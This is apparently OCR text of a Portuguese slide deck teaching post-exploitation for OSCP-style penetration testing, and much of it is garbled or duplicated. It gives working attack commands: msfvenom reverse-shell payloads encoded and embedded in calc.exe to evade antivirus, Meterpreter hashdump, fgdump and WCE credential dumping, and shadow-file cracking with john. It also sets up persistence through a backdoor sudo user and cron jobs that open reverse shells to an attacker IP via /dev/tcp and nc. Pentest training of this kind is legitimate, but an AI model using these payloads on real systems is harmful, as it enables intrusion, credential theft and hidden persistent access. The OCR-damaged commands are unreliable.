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O QUE E POS EXPLORACAO?

acao € essencial, pois € nessa fase que
les e conhecimentos no sistema para se aprofundar

4 ~

oracao € um processo indispensavel, na verdade
ir entender o poder que o atacante tem apos a



O QUE SE GANHA NA POS EXPLORACAQ?

aplicacoes ou do proprio sistema;

acesso ao sistema;

as em uma rede;






5 COMO REALIZAR A POS EXPLORACAO?

 Por ser um metodo mais complexo e que requer conhecimentos mais profundos

sobre sistema, eu recomendo que voce tenha pelo menos conhecimentos nos
seguintes itens:

1. Sistemas operacionais (Windows e Linux), seja terminal, bash, powershell,
chaves de registros e afins.

2. Linguagens de programacao, no caso vai depender do ambiente e de qual
sistema voce esta efetuando a pos exploracao, caso seja um sistema web,
linguagens como PHP e uma boa ideia conhecer.

3. Profundos conhecimentos em redes de computadores e afins.






5 PRATICA 1: LINUX (ESCALACAO DE PRIV)

“Apos ter explorado uma falha e ter ganhado shell, vamos a pos exploracdo”
A escalacao de privilegios (Linux) tem a ver com:

» Coletar - Enumeracao , mais enumeracées e mais algumas enumeracoes.

» Processo - Classifique os dados, analise e priorize.

» Pesquisa - Saiba o que procurar e onde encontrar o codigo de exploracdo.

» Adaptar - personalize a exploracdo, para que ela se encaixe. Nem toda
exploracao funciona para todos os sistemas "prontos para uso".

» Experimente - Prepare-se para (muitas) tentativas e erros .



PRATICA 1: LINUX (ESCALACAO DE PRIV)

linux-privilege-escalation/

informacoes do sistema operacional, além
dos Linux, entao eu recomendo 0 acesso ao

Quais servicos estao rodando

cat fetc/issue S aux

cat Jetc/¥-release ps —ef

cat Jetc/Ish-release # Debian based Tap

cat jetc/redhat-release  # Reghat based cat JSetcsservices


https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

PRATICA 2: LINUX (ESCALACAO DE PRIV)

ra auxiliar na escalacao de privilégios
rebootuser/LinEnum
dtploit.com/2018/06/pe-linux-linux-privilege-

om/download/linuxprivchecker.py
alacao de privilegios
)00ks.io/total-oscp-guide/privilege escalation -



https://github.com/rebootuser/LinEnum
https://www.kitploit.com/2018/06/pe-linux-linux-privilege-escalation-tool.html
http://www.securitysift.com/download/linuxprivchecker.py
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html

JoR PRATICA 3: WINDOWS (ESCALACAO DE PRIV)

0%

» Apos conseguir acesso a uma shell, agora € a vez da pos exploracao no
/// Windows

« Comandos basicos de reconhecimento

\\

systeminfo whoami

hostname echo %username?

* Procurando senhas nao criptografadas em arquivos .txt e afins




PRATICA 3: WINDOWS (ESCALACAO DE PRIV)

cao de p

rivilegio em Windows, acesse o site


https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html

PRATICA 4: METERPRETER

lmente tem algum tipo de shell no alvo.

ter, vocé provavelmente deve tentar transformar
erpreter, pois fornece muitas ferramentas

L[] ﬂ

preter-shell a partir do msfvenom ou algo
Ju 0 que voce tem acesso. Entao voce apenas
| seu shell meterpreter.
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# msfpayload phpsmeterpretersreverse tep LHOST=192.168.1.4 LPORT=E8688 F : exploit.php

Ry o




56) | PRATICA 4: METERPRETER POS
& (FUNDAMENTOS)

 Comandos meterpreter basicos:

Listar todos os comandos

help help upload

Sessoes

Listar sessdes em segundo plano

background -1




56) | PRATICA 4: METERPRETER POS
& (FUNDAMENTOS)

 Comandos meterpreter basicos:

Scripts

migrate Script

Frimeiro

AQora vocé = lhe um = «

run migrate -p 1327

COnde -p &



56) | PRATICA 4: METERPRETER POS
& (FUNDAMENTOS)

 Atualizar uma shell normal para meterpreter

« Ha um ponto em fazer coisas atraves do metasploit. Por exemplo, se vocé
encontrar uma exploracao que nao possui um payload disponivel, basta iniciar
um shell normal e, em seguida, atualiza-lo. Para fazer isso, faca o seguinte:

Ctr-z 5 : ] [ Yorg pode vé-|lo com

Background session 2¢ [w/M]

httpS: / /WWW. b'inar sessions -1

vt]de S.Ccom / ph D' Entédo agora temos o shell rodando em segundo plano. Esta na hora de atualizar
rEVEISE" Shell-Wi th / use post/multi/managesshell to_meterpreter

metasploit/ set LHOST 192.168.1. 182

set session 1

exploit


https://www.binarytides.com/php-reverse-shell-with-metasploit/

0%

0% | PRATICA 5: RESTRICOES DE SHELL (LINUX)

» Alguns administradores de sistema nao querem que seus usuarios tenham
% acesso a todos os comandos. Entao eles recebem uma shell restrita. Se o
-~ hacker obtém acesso a um usuario com um shell restrito, precisamos ser
capazes de quebrar isso, efetuar o bypass dele, para ter mais poder.

« Exemplo:

2 ¢

o

http://securebean.blogspot.com/2014/05/escaping-

restricted-shell 3.html?view=sidebar

http://pen-testing.sans.org/blog/pen-

testing/2012/06/06/escaping-restricted-linux-shells



http://securebean.blogspot.com/2014/05/escaping-restricted-shell_3.html?view=sidebar
http://pen-testing.sans.org/blog/pen-testing/2012/06/06/escaping-restricted-linux-shells

9 PRATICA 6: BYPASS AV

« Antivirus normalmente usa a lista negra como metodologia. Eles tém um
enorme banco de dados cheio de assinaturas para diferentes malwares
conhecidos. Em seguida, o antivirus apenas verifica o disco e procura por
qualquer uma dessas assinaturas.

» Portanto, como existem muitos antivirus diferentes e todos eles tém bancos de
dados de assinaturas diferentes, e importante sabermos que antivirus nosso
destino usa. Quando soubermos que podemos usar o virtustotal.com para
carregtar NOssos arquivos maliciosos e verificar se esse antivirus especifico o
encontra.

 Portanto, o que precisamos fazer € alterar o malware o suficiente para que a
asslnatura seja alterada e o antivirus nao consiga identificar o arquivo como
mMaliCc10Ss0.

 Existem algumas tecnicas diferentes para fazer isso.



5 PRATICA 6: BYPASS AV

Fodemos codificar nosso malware de maneiras diferentes. [sso pode ser feito com o msfvenom. Observe
como definimos o -e sinalizador aqui e, em seguida, Use 4 shikata ga nal codificacac. 1550 n&o e tao
eficaz, pois os fornecedores de antivirus tambéem tém acesso ao metasploit.

mstvenom -p windows/meterpreter /reverse tcp LHOST=192.168.1.181 LPORT=5555 -f exe -e

#xB6/shikata ga nal -1 9 -o meterpreter_encoded.exe

Incorporar em arquivo nao malicioso

Ciutra maneira & incorporar nossa carga Ut em um arguivo nao malicioso.

msfwenom -p windows/meterpreter freverse_tcp LHOST=192.168.1.181 LPORT=5555 -f exe -e
x86fshikata_ga_nal -1 9 -x calc.exe -o

bad calc.exe




PRATICA 6: BYPASS AV

Sy

Tool Invoke-Obfuscation ?
Author Daniel Bohannon (DBO) °
Twitter @danielhbohannon

Blog http: //danielbohannon.com

Github https://github.com/danielbohannon/Invoke-0Obfuscation

Version 1.7

License Apache License, Version 2.0

Notes If(!$Ccaffeinated) {Exit}

HELP MENU :: Available options shown below:

[*] Tutorial of how to use this tool TUTORIAL

[*1] Show this Help Menu HELP,GET-HELP,?,-?,/?,MENU

[*] Show options for payload to obfuscate SHOW OPTIONS, SHOW, OPTIONS

[*1] Clear screen CLEAR, CLEAR-HOST,CLS g’ 02 po
[*] Execute ObfuscatedCommand locally EXEC, EXECUTE, TEST, RUN

[*1 Copy ObfuscatedCommand to clipboard COPY,CLIP,CLIPBOARD = -+
| | Write ObfuscatedCommand Out to disk ouT i

[*] Reset ALL obfuscation for ObfuscatedCommand RESET

[*] Undo LAST obfuscation for ObfuscatedCommand UNDO ea -

| I | Go Back to previous obfuscation menu BACK,CD ..

[*1] Quit Invoke-Obfuscation QUIT,EXIT

[*] Return to Home Menu HOME , MAIN

hoose one of the below options:

TOKEN Obfuscate Powershell command Tokens

STRING Obfuscate entire command as a String
ENCODING Obfuscate entire command wvia Encoding
LAUNCHER Obfuscate command args w/Launcher techniques (run once at end)

Invoke-Obfuscation> _


https://github.com/danielbohannon/Invoke-Obfuscation
https://www.youtube.com/watch?v=uE8IAxM_BhE
https://www.varonis.com/blog/powershell-obfuscation-stealth-through-confusion-part-i/

PRATICA 6: BYPASS AV

Sy

Tool Invoke-Obfuscation ?
Author Daniel Bohannon (DBO) °
Twitter @danielhbohannon

Blog http: //danielbohannon.com

Github https://github.com/danielbohannon/Invoke-0Obfuscation

Version 1.7

License Apache License, Version 2.0

Notes If(!$Ccaffeinated) {Exit}

HELP MENU :: Available options shown below:

[*] Tutorial of how to use this tool TUTORIAL

[*1] Show this Help Menu HELP,GET-HELP,?,-?,/?,MENU

[*] Show options for payload to obfuscate SHOW OPTIONS, SHOW, OPTIONS
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[*] Reset ALL obfuscation for ObfuscatedCommand RESET

[*] Undo LAST obfuscation for ObfuscatedCommand UNDO ea -

| I | Go Back to previous obfuscation menu BACK,CD ..

[*1] Quit Invoke-Obfuscation QUIT,EXIT

[*] Return to Home Menu HOME , MAIN

hoose one of the below options:

TOKEN Obfuscate Powershell command Tokens

STRING Obfuscate entire command as a String
ENCODING Obfuscate entire command wvia Encoding
LAUNCHER Obfuscate command args w/Launcher techniques (run once at end)

Invoke-Obfuscation> _


https://github.com/danielbohannon/Invoke-Obfuscation
https://www.youtube.com/watch?v=uE8IAxM_BhE
https://www.varonis.com/blog/powershell-obfuscation-stealth-through-confusion-part-i/
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PRATICA 7: + WINDOWS (ESCALACAO PRIV)

Desc a operacional conectado:

Y Windowsh system32> systeminfo | findstr .-"Ei ST arr -'1.- 1 fersion™
MNarme : IIlr'r_ osoft Windomws
Version: & a0l Service




PRATICA 7: + WINDOWS (ESCALACAO PRIV)

vilégio necessario para cada servico:

ch exe —uooy Spooler

attp: / /www.fuzzysecurity.com/tutorials/16.html

// youtube.com/watch?v=PC iMqgiulRQ

[WWW. youtu% com/watch?v=kMG8IsCohHA

http



http://www.fuzzysecurity.com/tutorials/16.html
https://www.youtube.com/watch?v=PC_iMqiuIRQ
https://www.youtube.com/watch?v=kMG8IsCohHA

%;%ggy

PRATICA 8: + LINUX (ESCALACAO PRIV)

ord221/0SCP-
T

p0/PayloadsAllTheThings/blob/master/Methodol
620-%20Privilege%20Escalation.md

[ WWV be.com/watch?v=dk2wsyFiosg

®



https://github.com/RustyShackleford221/OSCP-Prep/tree/master/Priv Esc Checks/Linux
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Linux - Privilege Escalation.md
https://www.youtube.com/watch?v=dk2wsyFiosg

PRATICA 9: QUEBRA DE SENHAS LINUX

* Quebrando senha de usuarios

Primeiro, pegue o arquivo passwd e shadow. B Podemos quebrar a senha usando o john the ripper Seguinte:

cat fetc/passwd unshadow passwd shadow > unshadowed.txt

cat Jetc/shadow john --rules --wordlist=Fusrfsharefwordlists/rockyou.txt unshadowed.txt

» Max Moser lancou um modulo de deteccao de senha do Metasploit
chamado psnuffle, que detectara senhas fora do fio, semelhante a
ferramenta dsniff . Atualmente, ele suporta POP3, IMAP, FTP e HTTP GET.

Para mais informacoes: nttps:.//www.offensive-security.com/metasploit-
unleashed/password-sniffing/

GuUia roubo de'senhas: https://sushant747.gitbooks.io/total-oscp-guide/tcp-
dumps on_pwnd machines.html



https://www.offensive-security.com/metasploit-unleashed/password-sniffing/
https://sushant747.gitbooks.io/total-oscp-guide/tcp-dumps_on_pwnd_machines.html

9 PRATICA 10: QUEBRA DE SENHAS WINDOWS

* Se voce tem uma shell meterpreter voce faz muitas coisas com pouco esforco,
caso ainda nao tenha, voce pode criar seus payloads meterpreter para a
exploracao.

Rttps: //nitescutucian. github.io/2018/07/24/ msfvenom-cheat-sheet/
https://github.com/frizb/MSF-Venom-Cheatsheet
nttps://redteamtutorials.com/2018/10/24/msfvenom-cheatsheet/
 Utilizando o meterpreter vocé pode fazer o seguinte:

Despejar hashes do windows para analises adicionais

hashdump



https://nitesculucian.github.io/2018/07/24/msfvenom-cheat-sheet/
https://github.com/frizb/MSF-Venom-Cheatsheet
https://redteamtutorials.com/2018/10/24/msfvenom-cheatsheet/

9 PRATICA 10: QUEBRA DE SENHAS WINDOWS

fgdump.exe

Fodemos usar fgdump.exe | locate fgdump.exe no kali) para extrair hashes de senha NTLM e LM,
Execute-0 & existe um arquivo chamado 127 .0.0 1 pwndump, onde 0 hash & salvo, Agora vocé pode tentar

forcar a forca bruta.

Editor de credenciais do Windows (WCE)

OWCE pode roubar senhas NTLMW d: s diferentes do
WWCE, uma para sistemas de 32 bits e outra para 64 bits. Portanto, verifigue se vocé tem o caminho certo.

e clUta-lo assim




httpsa//sushant/47.91tbooks.10/ total-oscp-guide/loot windows - for credentials and other stuff.html
httpst/www.securuselobal.com/community/2013/12/20/dumping-windows-credentials/



https://sushant747.gitbooks.io/total-oscp-guide/loot_windows_-_for_credentials_and_other_stuff.html
https://www.securusglobal.com/community/2013/12/20/dumping-windows-credentials/

5 PRATICA 11: PERSISTENCIA

 Portanto, se vocé conseguir comprometer um sistema, precisara garantir que
nao perde o shell. Se voce usou uma exploracao que mexe com a maquina, o
usuario pode guerer reiniciar, e se o usuario reiniciar, voce perdera sua shell.

» Ou talvez a maneira de comprometer a maquina seja realmente complicada ou
barulhenta e voce nao queira passar pelo trabalho de fazer tudo de
novo. Entao, em vez disso, basta criar um backdoor no qual voce possa entrar

de forma rapida e facil.

Crie um novo usuario

Agora, se a maguina tiver, ssh wocé podera fazer o sshna maguina.

L Em algumas maquinas, Linux mais antigo, eu acho, vocé tem que fazer
Gbwia, mas nao tao sutil, € apenas criar um novo usuari o (se vocé & root ou alguem com

esse privilegio).
useradd pelle
passwd pelle

adduser pelle
echo "pelle ALL=(ALLY ALL™ »» fetcisudoers

adduser pelle sudo




5 PRATICA 11: PERSISTENCIA

Cronjob NC

Crige cronjob que se conecte & sua magquina a cada 10 minutos. Agqul esta um exemplo usando um shell
bash-reverse. YWoce tambaem precisa configurar um ouvinte do netcat.

AUl esta como vood verifica se o cronjob esta ativo Ouvinte

service crond status

nc -lyp GGE6

pPErep cron

=e ndo foriniciado, vocé pode inici&-1o assim ‘ i . - o
Asvezes voce precisa definir o usuario

seryice crond status

crontab -e
fetc/init.dfcron start

*f1g ¥ * ¥ ¥ pelle fpath/tofblnary

crontab -e

¥f1lg *¥ ¥ ¥ ¥ BCR106;exec 196<> fdev/tcp/192.165.1.182/5556; sh <&196 >&196 2>8196

http://kaoticcreations.blogspot

.com/2012/07/backdooring-
f1B * * * * nc _g fhinfsh 192.168.1.21 5556 unix-system-via-cron.html



http://kaoticcreations.blogspot.com/2012/07/backdooring-unix-system-via-cron.html

F

PRATICA 11: PERSISTENCIA

- vocé pode utilizar modulos de
- r
4//////4//// a direto

e

com/metasploit-unleashed/binary-linux-

hev/7916152
ost-oscp-series-part-5-persistence-technigues-

@


https://www.offensive-security.com/metasploit-unleashed/binary-linux-trojan/
https://www.offensive-security.com/metasploit-unleashed/binary-linux-trojan/
https://gist.github.com/dergachev/7916152
https://0metasecurity.com/post-oscp-series-part-5-persistence-techniques-and-desired-state-control/
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FERRAMENTAS E LABORATORIOS

ﬁ%/},o exploracao a melhor coisa a se fazer agora e

egue algumas ferramentas e laboratorios:

a
&

ar11u/OSCP-60days
er/Php-Obfuscation-Tool

l/’//;/ i as
T

tag/oscp-labs/
om/all 5/2018/02/25/passing-oscp.html#lab

ffen urity.com/metasploit-unleashed/
////,//// search?q=oscp+tools

{4501 ,@ gesecurityguy/scripts

.



https://www.owasp.org/index.php/Bytecode_obfuscation
https://freeobfuscator.com/
https://github.com/anandkumar11u/OSCP-60days
https://github.com/Anon-Exploiter/Php-Obfuscation-Tool
https://www.vulnhub.com/
https://www.hackthebox.eu/
https://tuonilabs.wordpress.com/tag/oscp-labs/
https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html#lab
https://www.offensive-security.com/metasploit-unleashed/
https://github.com/search?q=oscp+tools
https://github.com/averagesecurityguy/scripts
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https://medium.com/@sdgeek/oscp-pen-testing-resources-271e9e570d45
https://sushant747.gitbooks.io/total-oscp-guide/post_exploitation.html
https://hackingandsecurity.blogspot.com/2017/09/oscp-windows-post-exploitation.html
http://0xc0ffee.io/blog/OSCP-Goldmine
https://github.com/0x4D31/awesome-oscp
https://github.com/RustyShackleford221/OSCP-Prep
https://github.com/topics/oscp
https://github.com/so87/OSCP-PwK
https://bit.ly/2kyTrJc

